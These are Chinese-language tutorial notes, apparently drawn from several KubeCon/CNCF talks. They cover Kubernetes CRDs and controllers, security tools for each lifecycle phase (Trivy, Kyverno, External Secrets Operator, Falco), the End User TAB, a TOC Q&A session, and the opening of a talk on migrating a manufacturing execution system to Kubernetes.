      • 控制器:更通用的概念,指监听一种资源并管理另一种资源的 Pod。
      • 运算符:特指那些封装了特定应用程序 运维知识(如安装、升级、备份、故障恢复等全生命周期管理)的控制器。这个概念由 Red Hat 的 Operator Framework 推广开来。对于初学者,理解控制器模式即可开始构建;随着深入,自然会理解运算符的特定要求和最佳实践。
  4. 构建于 Kubernetes 之上只是供应商的事?

    • 错误。这对于任何希望构建 内部开发者平台 的组织都至关重要。
      • CRD 即 API:将你的平台领域模型定义为 CRD,为你的平台产品提供清晰、一致的 API。
      • 实现自助服务:通过自定义的 CRD 和控制器,你可以向开发团队暴露受控的、抽象的自服务能力,使他们能够自主申请资源(数据库、缓存、消息队列等),无论这些资源最终部署在 Kubernetes 内部还是外部。
      • 统一管理:即使你使用多个 SaaS 供应商或遗留系统,也可以通过为它们创建相应的运算符/控制器,并将所有能力统一通过 Kubernetes CRD 暴露出来,从而简化和统一你的内部开发者体验。

总结

本节课中我们一起学习了:

  • Kubernetes 的多面性:它不仅是卓越的容器编排器,更是一个强大的、可扩展的 API 服务器。
  • CRD:自定义资源定义,如同数据库模式或 Java 类定义,允许你扩展 Kubernetes API,定义自己的资源类型。
  • 控制器:作为 Pod 运行的应用程序,监听特定 CRD 类型的事件,并通过协调循环确保期望状态与实际状态一致。它们是让 CRD 产生实际效果的“引擎”。
  • 结合使用:通过结合 CRD 和控制器,可以构建高级的平台 API 和内部开发者平台,实现基础设施即代码和自助服务。
  • 打破误解:控制器可以管理集群外资源,可以用多种语言编写,是构建现代平台工程的关键组件。

希望本教程帮助你揭开了 Kubernetes 作为可扩展平台的神秘面纱,并鼓励你开始探索如何利用 CRD 和控制器来解决自己组织的独特挑战。

036:为你的Kubernetes栖息地选择合适的工具 🛡️

概述

在本节课中,我们将学习如何为Kubernetes环境选择合适的安全工具。我们将遵循构建、部署、启动和运行四个阶段,介绍每个阶段的核心安全工具,并通过类比帮助理解它们的作用。

构建阶段:扫描容器镜像

上一节我们介绍了课程的整体结构,本节中我们来看看构建阶段的安全实践。

容器镜像是一个静态的、分层的文件,类似于蛋糕的食谱。镜像基于操作系统层,例如Alpine,并叠加了应用程序代码和依赖。扫描镜像的目的是检查这些层中是否存在已知的安全漏洞。

以下是扫描镜像的核心步骤:

  1. 提取层:获取镜像的各个只读层。
  2. 构建文件系统:基于提取的层重建完整的文件系统视图。
  3. 识别包:区分操作系统包(如aptyum安装)和非操作系统包(如语言库pipnpm)。
  4. 交叉检查:将识别出的包信息与漏洞数据库(如CVE)进行比对。

一个广泛使用的开源扫描工具是Trivy。运行Trivy后,你会得到类似下面的结果,它清晰地列出了基础镜像和各个包中的漏洞数量。

# 示例性 Trivy 扫描结果摘要
Base Image (python:3.9-slim): 0 vulnerabilities
Package `libssl1.1`: 1 vulnerability (CVE-2022-xxxx)
Package `requests`: 2 vulnerabilities (CVE-2021-xxxx, CVE-2020-xxxx)
Total: 3 vulnerabilities

这个阶段的工具可以类比为浣熊。浣熊会翻找垃圾桶,打开每一层寻找可用的食物,类似安全工具逐层扫描镜像以发现潜在威胁。

部署阶段:执行安全策略

在构建阶段我们确保了镜像安全,接下来在部署阶段,我们需要确保部署到集群的资源符合安全策略。

当通过kubectl或API发起创建Pod等请求时,请求会经过准入控制器。这是一个检查点,用于审查所有请求并强制执行已定义的策略。只有通过检查的请求,其对象才会被存储到ETCD中。

我们为此阶段选择的工具是Kyverno。它作为Kubernetes的准入控制器工作,使用大家熟悉的YAML语言来定义策略,降低了学习成本。

Kyverno主要提供两种钩子:

  • 变更钩子:在请求被允许前,动态修改资源对象。例如,如果Pod定义忘了设置内存限制,Kyverno可以自动为其添加一个默认值。
  • 验证钩子:检查资源对象是否符合策略,如果不符合则直接拒绝请求。例如,要求所有命名空间必须带有environment=production标签。

这个阶段的工具可以类比为森林管理员。管理员会检查进入森林的游客,如果游客忘了带灯(资源缺失关键配置),管理员会提供一盏灯(变更钩子);如果游客携带了违禁品(资源违反策略),管理员会禁止其进入(验证钩子)。

启动阶段:安全管理密钥

部署策略确保后,在Pod真正启动运行前,我们需要安全地管理敏感信息,如密码、令牌和证书。

Kubernetes提供了Secret对象来存储这些敏感数据,避免将其硬编码在Pod定义中。然而,原生的Secret存在一些限制:缺乏自动轮换机制、版本管理不便、与外部管道(如Git)集成困难,并且难以与外部密钥管理系统(如HashiCorp Vault、AWS Secrets Manager)集成。

External Secrets Operator 项目解决了这些问题。它将密钥值从外部系统(如AWS Secrets Manager)同步到Kubernetes的Secret对象中。

其工作流程如下:

  1. 配置External Secrets Operator,使其拥有访问外部密钥库(如通过IAM角色)的权限。
  2. Operator定期从外部密钥库获取最新的密钥值。
  3. 它在Kubernetes集群中创建或更新对应的Secret对象,保持同步。

这样,你就获得了自动轮换、版本控制、易于与CI/CD集成等好处,同时对于应用开发者而言,他们仍然只需像往常一样从Kubernetes Secret中读取数据,无需关心密钥的来源。

这个阶段的工具可以类比为松鼠。松鼠会从外部世界(森林)收集资源(坚果),并将其带回巢穴(Kubernetes集群)储存,以备需要时食用。

运行阶段:运行时安全检测

即使我们做好了镜像扫描、策略执行和密钥管理,仍然需要在运行时进行保护,因为有些威胁只在应用运行时才会显现。

容器运行时,Pod中的进程通过系统调用与内核交互。为了监控这些行为而无需修改应用代码,我们可以使用Falco。Falco利用eBPF技术,以一种轻量且安全的方式在内核层拦截系统调用,从而监控容器行为。

面对海量的系统调用数据,Falco使用规则来定义需要关注的安全事件。例如:

  • 监控对敏感路径(如/etc/shadow)的写操作。
  • 检测容器内是否打开了shell(这可能是入侵迹象)。

一个著名的真实案例是“Ingress Nginx 安全漏洞”。该漏洞存在于Nginx的运行时配置中,无法通过镜像扫描或部署策略阻止。攻击者利用此漏洞可能获取集群内所有Secret的访问权限。这类运行时威胁只能通过像Falco这样的运行时安全工具来检测和告警。

这个阶段的工具可以类比为猎鹰。猎鹰在高空盘旋,凭借锐利的眼睛(Falco规则)识别特定的猎物行为(恶意系统调用),一旦发现目标便迅速做出反应。

总结与核心要点

本节课中,我们一起学习了在Kubernetes安全生命周期的四个关键阶段应使用的工具。

以下是需要牢记的核心要点:

  1. 区分镜像扫描与容器扫描:镜像是静态的,容器是动态运行的。两者扫描的目标和意义不同。
  2. 主动执行安全策略:不能依赖默认配置。使用Kyverno等工具主动定义并强制执行安全策略。
  3. 集成外部密钥管理:利用External Secrets Operator等工具,在享受Kubernetes便利性的同时,不牺牲企业级密钥管理的功能(如轮换、版本控制)。
  4. 运行时安全是最后防线:当其他防护措施失效或力所不及时,Falco等运行时安全工具能提供关键的检测和响应能力。

安全工具就像动物王国中拥有不同技能的捕食者,各有专长,适用于不同的场景。没有一种工具能解决所有问题,但通过组合使用,可以构建起强大的防御体系。

学习资源与反馈

我们理解安全入门可能存在困难。为了帮助你继续学习,我们提供了一些资源链接(可在CNCF官方页面找到)。同时,如果你能通过扫描现场二维码为我们提供反馈,将对CNCF和我们改进内容非常有帮助。

感谢你的参与。

037:终端用户技术咨询委员会(TAB)介绍 🏛️

在本节课中,我们将学习云原生计算基金会(CNCF)中的一个重要治理机构——终端用户技术咨询委员会(TAB)。我们将了解TAB的成立目的、主要职责、当前的工作重点以及如何参与其中。

TAB的定位与职责 🤝

上一节我们介绍了课程主题,本节中我们来看看TAB在CNCF中的定位。

终端用户技术咨询委员会(TAB)是CNCF的三大治理机构之一,与理事会(Governing Board)和技术监督委员会(Technical Oversight Committee, TOC)并列。

TAB成立于大约一年前,旨在补充TOC的某些职能,特别是那些需要大量终端用户视角的工作。其核心目标是:

  • 为生态系统带来更多以终端用户为中心的视角。
  • 改善项目与终端用户之间的互动。
  • 处理需要终端用户深度参与的事务,例如参考架构的制定。

TAB成员介绍 👥

以下是参与本次讨论的TAB成员及其背景:

  • Alolita Sharma:任职于Apple,负责可观测性工程。同时是CNCF中OpenTelemetry项目的维护者,并积极参与Cortex项目。
  • Joseph Sambal:任职于Adobe。同时是Kubernetes发布特别兴趣小组(SIG Release)的成员,并担任KubeCon联***。
  • Katie Gamanji:任职于Apple,担任软件工程师。同时是技术监督委员会(TOC)和TAB的成员。
  • Ricardo Rocha:任职于欧洲核子研究中心(CERN),领导平台基础设施团队。同时是TOC和TAB的成员,并曾担任TAB主席。
  • Ahmed Becis:任职于纽约时报,担任首席工程师。是TAB的新成员,代表终端用户和纽约时报的利益。

TAB的核心工作与价值 💡

TAB的工作主要围绕两个层面展开,旨在为云原生生态系统创造价值。

层面一:促进终端用户与项目的反馈循环

TAB充当终端用户社区与CNCF项目之间的桥梁。

  • 收集反馈:汇集终端用户社区对于所消费技术的反馈,衡量项目的成功与否。
  • 传递洞见:将关于技术在生产环境中部署的担忧、有效与无效的经验反馈给项目和TOC。
  • 影响路线图:与社区合作,共同影响项目的路线图,确保技术发展符合终端用户的实际需求。

层面二:赋能终端用户并打破孤岛

TAB致力于帮助不同规模公司的终端用户找到参与生态系统的途径并产生影响力。

  • 寻找切入点:帮助终端用户无论公司规模大小,都能找到参与和驱动影响的入口。
  • 促进协作:打破公司间的壁垒,让面临相似问题的团队能够集体发声,共同推动改进。
  • 建立沟通渠道:在终端用户与CNCF、TOC之间建立清晰的沟通线路,共享行业实践中获得的反馈。

当前的重点倡议与挑战 🎯

TAB目前正在推进多项关键倡议,以应对终端用户面临的挑战。

重点倡议一:参考架构

这是去年最成功的倡议领域。参考架构的信息应由终端用户提供,而非项目或其他机构。目标是展示项目如何组合以解决特定问题,形成可复用的模式。

重点倡议二:项目健康度

CNCF项目有成熟度等级,但目前缺乏机制来持续评估已定级项目是否仍满足当初升级时的期望。终端用户可以在此领域发挥重要影响。

重点倡议三:终端用户景观图

云原生生态庞大且复杂,难以导航。TAB计划提供工具,帮助终端用户根据自身内部指标(不仅仅是成熟度)创建定制化的技术选型景观图。

重点倡议四:使用情况洞察

了解其他终端用户在生态系统中使用什么技术至关重要。像“雷达”这样的报告提供了项目使用范围和方式的额外视角,是TAB关注的重点。

互动问答环节精选 ❓

在公开讨论中,与会者提出了两个关键问题。

问题一:如何保证建议的中立与公平?

当多个项目解决相似问题时,TAB如何确保反馈和建议是中立、公平的?

解答要点

  1. 标准化反馈:致力于以更标准化的方式向项目提供反馈,供特定领域的所有项目审查。
  2. 项目路线图对齐:反馈的采纳需与项目自身的技术路线图和发展愿景对齐。
  3. 上下文至关重要:终端用户的决策总是基于特定用例和上下文(例如,选择存储方案是出于高吞吐量还是高可靠性需求)。参考架构将体现这种上下文。
  4. 建立公共待办清单:TAB的目标是将终端用户的建议转化为跨项目可见的公共待办事项,以促进协同。

问题二:如何标注参考架构的适用前提?

参考架构公开后,如何告知使用者其所需的前提知识、技能或资源,避免“Hello World”示例无法满足实际需求的问题?

解答要点

  1. 非蓝图,而是模式:参考架构更像一个展示“如何构建”的起点或模式,而非可直接套用的蓝图。使用者需要根据自身情况调整。
  2. 扩展为成熟度模型:可以考虑在参考架构中引入多维度成熟度模型,涵盖技术、专业知识、理解复杂度、生态依赖等因素。
  3. 提供入门指南:探索提供“入门指南”或“实施建议”的可能性,帮助用户评估适配度。

如何参与TAB工作 🤝

对于希望参与TAB工作的人,有以下途径:

  1. 访问GitHub仓库:这是主要的入口点,包含联系方式、会议时间等信息。TAB将很快开始举行公开会议。
  2. 加入现有终端用户组:CNCF内有多个按领域划分的终端用户小组,它们定期举行会议,是很好的参与起点。
  3. 参与倡议:即使不申请成为TAB正式成员,也可以对特定的交付物(如白皮书)做出贡献、参与评审或协作。
  4. 时间投入:作为TAB成员,每周大约需要投入5-10小时,包括每周例会(计划在不同时区举行以方便参与)和线下工作组工作。TAB正借鉴TOC的经验,通过自动化、明确交付物和建立类似技术咨询小组的结构,来扩大社区参与规模。

总结 📚

本节课中我们一起学习了CNCF终端用户技术咨询委员会(TAB)。我们了解到TAB是一个代表终端用户利益、促进项目与用户间反馈循环的关键治理机构。它的工作重点包括制定参考架构、评估项目健康度、赋能终端用户决策。TAB通过标准化反馈、提供上下文和建立公共沟通渠道来确保工作的有效性。对于任何希望影响云原生技术发展方向的终端用户从业者,通过GitHub仓库或终端用户小组参与TAB的倡议,是一个直接而宝贵的途径。

038:问答与展望

在本节课程中,我们将学习云原生计算基金会技术监督委员会的一次公开会议内容。我们将了解TOC的职责、当前面临的挑战、未来的工作重点,以及社区如何参与其中。

大家好,欢迎来到KubeCon的最后一天。感谢大家参加这次现场技术监督委员会会议。本次会议将采用“问我任何问题”或“专家问答”的形式。

对于不了解的观众,技术监督委员会是CNCF的三个最高管理机构之一。其主要职责是作为项目的管理者,并为CNCF设定技术愿景。

以下是我们的成员。大家可以做个简短的自我介绍。

大家好,我是Kariina Angel,现任TOC主席,在Red Hat工作。
大家好,我是Alex Curel,在Akaai工作。
大家好,我是Kevin Wan,参与多个项目,很高兴成为TOC的一员。
大家好,我是Jeremy Rickard,是Kubernetes发布团队的联合主席,在微软工作。
大家好,我的昵称是Dis,是Kubernetes社区的一员,在AWS工作。
大家好,我是Katie Amanji,在苹果工作,同时也是技术咨询小组的成员。
大家好,我是Fasilla,Istio社区成员,在Ericsson工作。
大家好,我是Ricardo,在CN工作,同时也是TOC和最终用户技术咨询委员会的成员。

我还想介绍一下我们新当选的TOC影子成员。TOC影子成员是本届任期的新事物,旨在协助TOC履行职责,或在需要时提供帮助,如果TOC成员需要卸任,影子成员也可以随时补上。

接下来,我们可以直接进入正题。Kariina,你能告诉大家TOC到底是什么吗?

TOC为生态系统内的所有项目提供技术监督。这包括许可证、商标、技术监督。我知道很多人都有项目经历过尽职调查或升级过程。TOC主要审查项目的技术细节,并确保最重要的是,这些项目对将要采用它们的最终用户是可行的,包括可持续性。包括确保发布过程透明。是的,所有好的方面。

那么,你认为未来几年TOC和项目面临的最大挑战是什么?其他人也可以补充。我知道我在看Ricardo和Katie。

从技术角度来看,我们今天在主题演讲中强调了生态系统内的一些主要差距。我再次提及它们,以防有人没机会参加主题演讲。主要有三个领域。我们出于特定原因对它们进行了分类。其中一个领域涉及多集群管理和可观测性。是的,这很有挑战性,尤其是在跨云提供商的情况下,可观测性在多集群环境中也很具挑战性。因此,我们希望将例如现有交付和可观测性领域的人员聚集在一起,以弥补这些差距。我们正努力通过识别这些差距以及重组技术咨询小组来促进跨领域协作。所以,我们有多集群管理和可观测性。另一个是成本管理和可持续性,因为我们确实需要关注成本支出,同时也需要考虑碳足迹,这些小组应该协同工作。最后,我们有基础设施供应和密钥管理的工具,这是多年来我们生态系统在完全开源工具方面的一个空白。我们肯定希望再次将来自不同小组的人员聚集起来,共同覆盖这个领域。

我认为另一个重点,随着CNCF进入第十个年头,以及去年Kubernetes的生日,正变得越来越重要。现在几乎有两个并行的重点:一是推动创新,填补Katie提到的那些空白,今天早上的主题演讲非常精彩;二是如何保持现有项目的健康运行,确保它们可持续、健康,并拥有适量的贡献者。当然,有时一个项目越成熟,对某些人来说可能就越不令人兴奋,因此我们必须随着发展保持这种势头。

我知道TOC本周进行了一些工作,为未来一年设定了愿景和方向。你愿意分享一些你们希望完成的事情以及发展方向吗?

我们做得不够好的一件事情是真正扩展社区中的技术专长。我们经历了很多人员流失和倦怠,疫情显然没有帮助。因此,我们现在正在进行技术咨询小组的重组,以帮助其扩展,并在项目申请进入CNCF或提升成熟度级别时提供更好的指导。

我们真正看到的一个问题是,孵化项目和毕业项目的申请仍然存在积压。这些项目希望达到更高的级别。我们看到的最大问题之一是它们尚未准备就绪。因此,一旦尽职调查开始,我们可能会发现他们在某些领域缺乏技术专长。如果他们能在这些领域获得指导,他们可能已经达到了可以升级到下一个级别的水平。这是我们明年将真正关注的事情,这项工作现在正在进行中。所以,在KubeCon之后,如果你有兴趣申请成为主席或技术负责人,请提名自己或你的同行。我们确实需要技术专长来帮助这些项目。

我还可以补充一点,我们提到的另一个新想法是除了子项目和技术咨询小组之外,设立“倡议”。这些倡议应该是有时间限制的、具体的、可交付的成果,并针对特定领域。本周对于讨论可能性和人们提出的想法非常有用。我们进行了非常好的对话,例如在冷恢复、灾难恢复方面非常先进的人们聚在一起,尝试标准化最佳实践。还有像汽车行业的Lego和其他公司,他们有非常具体的制造计划,并且在暴露PLC等设备方面面临挑战。这也可以成为一个倡议,让他们聚在一起,为部署制定最佳实践,以帮助其他有类似需求的最终用户。所以,如果你有想法,我们都在这里。请提出来并提议一个。它对任何人开放,欢迎大家来帮忙。

在Carina所说的基础上,在周一的维护者峰会上,我们举办了一个精彩的研讨会,涵盖了一些作为潜在倡议和项目的想法。我们还将专注于更好地整合TOC和最终用户技术咨询委员会,通过该系统获得更多反馈,并希望发展该社区。

我认为维护者峰会的研讨会非常酷,看到了人们带来的所有活力和对新倡议的思考。你能告诉我们一些关于研讨会的情况吗?

对于研讨会,我们做了什么……等等,谁参加了研讨会?谁参加了维护者峰会?谢谢。说实话,我更想听听一些观众成员在研讨会上的体验,如果有人想站起来分享的话。麦克风就在后面,如果人们想问问题的话。好的,太棒了。我们房间坐满了人,大约有11张桌子,每张桌子大约有8到10人,分成不同的领域,如开发者体验、操作弹性、测试、工作负载等。他们正在就哪些倡议可以促进互操作性等生成想法。我们听到了一些很棒的想法,比如测试网格。如果测试网格能从Kubernetes中独立出来,并用于帮助其他项目,那不是很棒吗?你们都在那里。你们最喜欢的倡议是什么?你们最喜欢哪些?

我和一群专注于安全的人一起工作。产生了几点想法。其中一点是关于围绕自我评估和联合评估实现更好的自动化,以保持其被审查、健康和最新。另一个倡议是关于如何更好地处理项目之间的依赖关系,例如用于漏洞管理的依赖关系,以及如何更根本地将SBOM集成到生态系统中。

我参与讨论的一个倡议是关于项目如何更好地处理下游供应商。很多维护者都遇到过这个问题:用户通过供应商使用项目,遇到问题后到上游社区提出问题,但结果发现由于不同供应商的环境可能差异很大,存在很多断点。这个想法是,实际上有些项目已经有了一致性测试程序。基本上,这个倡议讨论的是如何制定更实用的指南,或许还有一些工具,来帮助更多项目建立他们的一致性测试套件。以及项目在变得更加成熟时,如何通过这个过程拥有自己的一致性测试。

对我来说,个人感兴趣的是所有关于操作弹性的内容,因为这与我个人密切相关。我们桌子的工作方式是,一张桌子会讨论一个想法,然后传递给另一张桌子进行详细阐述。我们桌子得到的一个想法是,也许在现有的全景图上制作一个过滤器或类似的东西,更多地围绕角色来组织,这样会更容易导航和理解。我认为这很有趣。

我真正喜欢的是每个人都坚持到了最后。所有桌子都坐满了人,大家埋头交谈。看到这一点真的很棒。我和Kariina当时还在想,注意能量水平是否会下降,然后我们可以调整他们的工作内容,但我们从未感觉到能量水平在下降。所以,听到和看到房间里每个人的参与真的很好,我们真的希望他们能继续这项工作。

有一些人当时在想,我们真的必须把我们的想法交给别人吗?他们会怎么处理它?我们能自己完善它吗?所以我们不得不向他们保证,这是一个活的文档,他们可以继续在上面工作。所以,是的,总的来说,这对我来说真的很好。谢谢。

我想Katie需要麦克风。有一些技术问题。我只想附和Jim所说的,因为我们有很高的出席率,房间挤满了人,这绝对是出色的表现。技术咨询小组的重组可能是我们在TOC和全景图中所做的最大改变之一,涉及到我们全景图中不同微社区之间的互动方式。看到人们对此有如此大的兴趣,他们想讨论它,也许他们想应用这种新的倡议结构,这太棒了。这种热情是惊人的,我真的希望每个在房间里的人,以及今天在这里的每个人,都能与我们合作这些新倡议。也许我再次呼应这个信息:成为领导团队的一部分,成为技术咨询小组的主席或负责人。我们现在需要这样的人。我不确定倡议文档是否对公众开放,因为我们有一些相当有趣的倡议,但我想我们不会详细讨论它们,因为人们无论如何都会有机会接触到它们。所以,我只想呼应社区的热情。我认为那真的非常棒,在很多方面都很美好。

我想提到的关于我们桌子的另一件事是,当然那真的很好,同时也很多样化。在我们桌子上,我们有来自日本、欧洲以及美国和其他许多地方的人。所以出现的一个问题是关于时区问题,以及他们面临的语言问题。基本上,有些人担心他们无法参加某些会议,或者无法在会议上进行适当的沟通。这是一个问题,如果我们能在这方面做点什么,那会很好。

我没有太多要补充的。但也许在我桌子上,有很多想法。我认为最有趣的部分实际上是,人们不想把他们的想法传下去,但接收别人的想法是最有趣的。你可以看到不同的方法。第一轮有点天马行空。然后第二张桌子看着它,开始让它变得更有条理。所以,我想现在就看每个人如何审视它们,并真正使它们具体化。我认为我们有很多工作要做。

我只是想再次强调,因为你不能太频繁地重复行动号召。很高兴看到更多参与维护者峰会的社区成员,以及所有来听我们讲话的优秀人士,能够更积极地参与进来,提名自己、你的同事或社区中的其他人担任技术负责人和主席。我认为我们真的希望随着我们的成长,增加我们社区的活力。

我有一个问题,一个人如何做到这一点?如何参与进来?好的,所以如果你关注TOC的代码仓库,在KubeCon之后,我们会发布行动号召,同样也会在TOC邮件列表和TOC Slack频道中发布,就在CNCF Slack的#toc频道里。我们会把所有信息放在那里。倡议将被放入TOC代码仓库,所以你会看到它们出现在那里,然后我们会有一个项目看板,供有兴趣为某个倡议做出贡献的人使用。记住,你不需要成为技术咨询小组的一部分来帮助开展倡议工作,只要你有时间。我们真的希望将它们视为有时间限制的、较小的工作单元,这样你就可以在一年中有时间的时候参与进来。此外,我们将在亚特兰大举行另一次维护者峰会,届时我们将审查到那时为止已完成的工作。我知道我们还有另一个问题,请讲。

大家好,能成为维护者峰会的一部分真的很棒,这是我第一次参加。那种能量真的令人兴奋和鼓舞。所以,是的,我希望如果人群中有人没有参加过这类活动,他们会去尝试。我的问题是,我从环境可持续性技术咨询小组的角度出发,该小组正被合并到操作弹性技术咨询小组中。接下来的步骤将包括协作编写章程、目标和非目标,与将要并入这个新标签的其他技术咨询小组社区进行沟通。我知道我们正在为其他几个技术咨询小组做这件事。对于希望参与其中的人们,你们有什么临时的沟通渠道、目标或时间线可以与我们分享,并建议我们如何参与吗?

在KubeCon之后,我们将发布更多关于时间线的信息,因为我们现在正在重新整理代码仓库。我们将把它们全部集中到TOC代码仓库中,然后在那里提供说明等。所以请继续关注这些渠道,我们会发出号召。我们一直在与当前的几位领导层合作。所以,我们会联系每个当前的标签,以及任何其他社区成员。请继续关注这些渠道以获取更多信息。但不幸的是,这将在KubeCon之后,也就是今天之后。但请给我们几周时间来处理这些事情。谢谢你的问题。还有其他人有问题吗?实际上,这里有多少人经历过项目升级过程或参与过项目?至少有几个。那么,你认为项目升级时遇到的最大挑战是什么?Kevin,你想回答这个问题吗?

根据我的观察和经验,对于项目升级,尤其是在去年我们更新了很多关于模板清单的内容,以使项目团队更清楚地理解标准之后,我仍然看到一些项目首先,答案准备得不够充分。理想情况下,作为TOC或评审员,我们希望你对答案给出一些陈述,并提供参考链接,以证明你确实在实施你所说的内容,比如开放的社区治理、成熟的发布流程以及如何处理安全问题。除此之外,我们还增加了通用技术评审和领域特定技术评审,以帮助从技术角度评估项目的成熟度。所以,首先,我建议任何准备申请或正在申请过程中的人,至少再看一遍你的申请答案。

我想补充一点,谢谢Kevin。我想补充的另一件事是,我们看到项目可能没有优先考虑安全性,没有考虑他们的安全卫生状况、他们的计划。我们将审查当前流程中提出的要求,并进行去重。我知道现在在安全评估和安全审计之间有很多要求,我们将看看哪些适合移到审计中。但我确实看到安全技术咨询小组的成员在这里,他们一直非常宝贵,谢谢。我想帮助减轻他们的负担。

我想补充一点,所以项目也应该优先考虑安全性。我想提一下,除此之外,因为现在我们的队列实际上更短了,所以我们对项目的响应时间和参与度更快了。但有时会发生的情况是,维护者在为孵化或毕业打开PR后没有回应,这很关键,因为尽职调查过程是TOC和项目维护者之间的协作,保持沟通渠道畅通至关重要。所以,如果你打开一个问题或为孵化或毕业打开一个PR,请保持回应。这是我们试图帮助你达到下一个水平的事情,我们需要那种回应。我只是想强调这一点,因为我知道每个人都很忙,事情随时可能变得非常混乱,但这种沟通渠道非常重要。所以,请注意这一点。

通常发生的另一件事是,人们有截止日期。他们希望项目在KubeCon北美或KubeCon欧洲之前发布,或者像一些内部截止日期。所以我们试图做事,但这需要一些时间,而且我们管道中有项目,所以请注意这一点。另一件我们通常最终要做的事情是,我们写下了很多材料,有很多清单之类的东西,但有时我们真的必须坐下来与项目沟通,确切地解释为什么我们要问他们那些问题,或者为什么我们要他们做那些改变。简单的例子可能围绕着你如何看待社区与你的公司和产品,以及你在哪里划清界限。所以我们真的必须和他们进行坦诚的交谈。然后他们意识到,好吧,我们在治理中缺少这个,我们在这里缺少那个,也许这反映在我们如何进行CI/CD工件或我们如何为某些事情提供支持上。这是一个反复出现的事情,一次又一次地发生,我们不得不与来自不同项目的成员坐下来,确保他们理解我们要求他们做的事情的原因。

Ricardo,你是任职时间最长的TOC成员之一,很高兴听到……我们还有大约三分钟时间,我不想……是的,我们有问题,所以让我们快速回答一些问题。我想知道TOC是否有任何成功指标来衡量他们做得如何,比如每季度一次,你们如何报告?谢谢。谁想回答这个问题?通常是项目通过流程的速度。是的,我认为可能有两部分。一是我们帮助项目的速度,这通过升级的速率显示出来。还有一些我们最近才开始关注的指标。我认为Bob正在制作它们,即项目在申请变更级别之前,实际上在同一级别停留了多长时间。这个也很有趣,因为它们是相互关联的,但有时项目也需要一些帮助来推动他们。我认为这也是今年将更详细探讨的一个非常有趣的指标。

也许不一定是一个成功指标,而是一个成功迹象是,我们有时间改进我们的流程,而不仅仅是进行尽职调查。因为以前,TOC的大部分时间都集中在审查沙箱纳入申请、进行孵化和毕业尽职调查上,这就是我们能做的全部,那是我们的全职工作。因为我们一直非常专注于简化流程,因为我们试图尽可能清晰,我们试图自动化很多工作。甚至所有这些前瞻性的工作,比如倡议、工作负载、技术咨询小组重组等等,以及重塑和思考未来会发生什么。我认为这是我们扩展工作量的一个非常好的迹象,也许这也是一个成功的指标,可能无法用数字量化,但在我们与生态系统互动的整体动态中,绝对是。

我们时间快到了,你的问题是什么?我们看看能否回答。问题相对简短。当一个项目在完成任务或升级方面遇到困难,你们必须进行额外的协作和对话时,有时是否会出现结果未定义的问题?比如解释了原因和需要做什么,但没有明确期望的结果,而这最终成为问题没有解决的原因?

我们有很多例子。所有组合都存在,所以我们确实必须告诉他们我们在寻找什么,为什么寻找,以及我们通常如何……我们通常也会告诉他们,这里有一组我们希望你们思考的事情,看看你们需要在不同领域如何应用这些。而且我们也想看到它在实践中如何运作,比如不要只是更改README或治理文档,然后就说你完成了。我们想看到它在未来三个月或六个月内是如何实施的。然后有了证据,我们就能继续对话。

这又回到了上一个关于关键绩效指标的问题,很难量化。哦,我们现在超时一分钟了。所以,请之后继续交流,我会的,谢谢。

好的,谢谢大家来到这里,也谢谢所有提问的人,谢谢。

039:深入车间 - 将制造执行系统迁移至Kubernetes

概述

在本教程中,我们将跟随博世公司的工程师Manuel Peuster和Andre,学习他们如何将复杂的制造执行系统从传统的虚拟机环境迁移到Kubernetes平台。我们将了解MES系统的基本概念、迁移过程中面临的挑战,以及他们如何通过创新的技术方案(如库Helm图表)来解决这些问题,最终实现部署时间从数小时缩短到数分钟的巨大飞跃。


什么是制造执行系统?

上一节我们概述了课程内容,本节中我们来看看制造执行系统的核心定义。

制造执行系统是一种软件,用于实时监控、管理和优化车间生产。它充当企业系统与车间操作之间的桥梁。

为了更直观地理解,我们可以将工厂想象成一个人类身体:

  • 计算与存储能力:这是大脑,处理决策,MES依赖于此来管理关键信息。
  • 外部系统:这像循环系统,负责分发生产订单或库存数据等关键信息。
  • 消息代理:这像神经系统,确保整个工厂的通信。
  • 工业协议与传感器:这像感官,从机器收集温度、速度、压力等实时输入。
  • 车间设备:这像肌肉,根据MES的指令执行生产任务。

传统MES面临的挑战

了解了MES的基本构成后,我们来看看它在传统部署方式下面临哪些问题。

传统MES系统虽然多年来成功支持了制造运营,但其架构和部署方式存在固有缺陷。

以下是传统MES的主要痛点:

  1. 高度个性化配置:每个工厂甚至每条生产线都有不同的配置,难以标准化、复制、扩展和升级。
  2. 手动配置:配置在两个层面进行:
    • 运维层面:由运维人员设置数据库、网络策略、用户权限等。
    • 业务逻辑层面:由应用工程师创建产品配方和路由规则。
  3. 缓慢的部署流程:部署通常在单独订购的Windows虚拟机上完成,过程缓慢且资源密集。
  4. 高风险与高成本:部署时间长,手动更改增加了配置错误的风险,可能导致系统故障。MES停机意味着生产停止、工人闲置,导致材料浪费、错过交付期限和巨额收入损失。

云原生转型之路

面对传统MES的挑战,博世团队决定拥抱云原生转型。他们采取了经典的“提升和转移”方法。

在第一阶段,团队将所有MES模块容器化。每个模块变成一组容器,30个不同的模块演变为200多个微服务。这些微服务被部署在Linux机器上。此阶段没有根本性的架构改变,只是现有应用的容器化版本,侧重于可移植性而非重设计。

当时有两种部署方法:

  • 本地环境:使用Docker Compose打包微服务,通过Ansible部署。
  • 云环境:使用Ansible渲染Kubernetes清单并部署到云。

无论哪种环境,最终都面临顺序部署、更新缓慢的问题,一次更新通常需要6到10小时。


现代架构与未来展望

经过多年发展,当前的架构已经演进。如今,云环境和本地环境使用相同的部署结构。

团队从使用Ansible的顺序部署,转变为在云场景的多集群节点或本地场景的单节点上,同时进行微服务的流水线部署。

此外,团队展望未来,正在构建一个“本地云”——博世制造与物流平台。可以将其视为一个“工厂应用商店”。在这个平台上,每个工厂的微服务都运行在多节点集群中,一切都被集中管理,并使用Argo自动应用变更。


迁移过程中的挑战与解决方案

现在我们已经了解了系统的演进历程,本节将深入探讨在使其更加云原生并迁移上云的过程中,团队遇到的具体挑战和学到的经验教训。

一旦开始“提升和转移”并将所有模块打包成不同的微服务,团队立即面临三个维度的复杂性:

  1. 制造环境的特异性:大多数工厂甚至单条生产线都使用个性化配置,这与微服务世界中通常部署相同副本的模式不同。支持所有这些配置和部署参数并减少人为错误是一大挑战。
  2. 技术复杂性:将所有现有软件组件打包并放到Kubernetes上。团队当时已具备一定的Kubernetes知识,所以这部分相对容易。添加缺失组件并部署后,一切运行正常。
  3. 人员与组织复杂性:软件解决方案由30多个不同模块组成,每个模块又包含许多微服务。每个模块由独立的开发团队构建,而这些团队对Kubernetes的知识分布非常不均衡。有些团队完全没有Kubernetes知识。

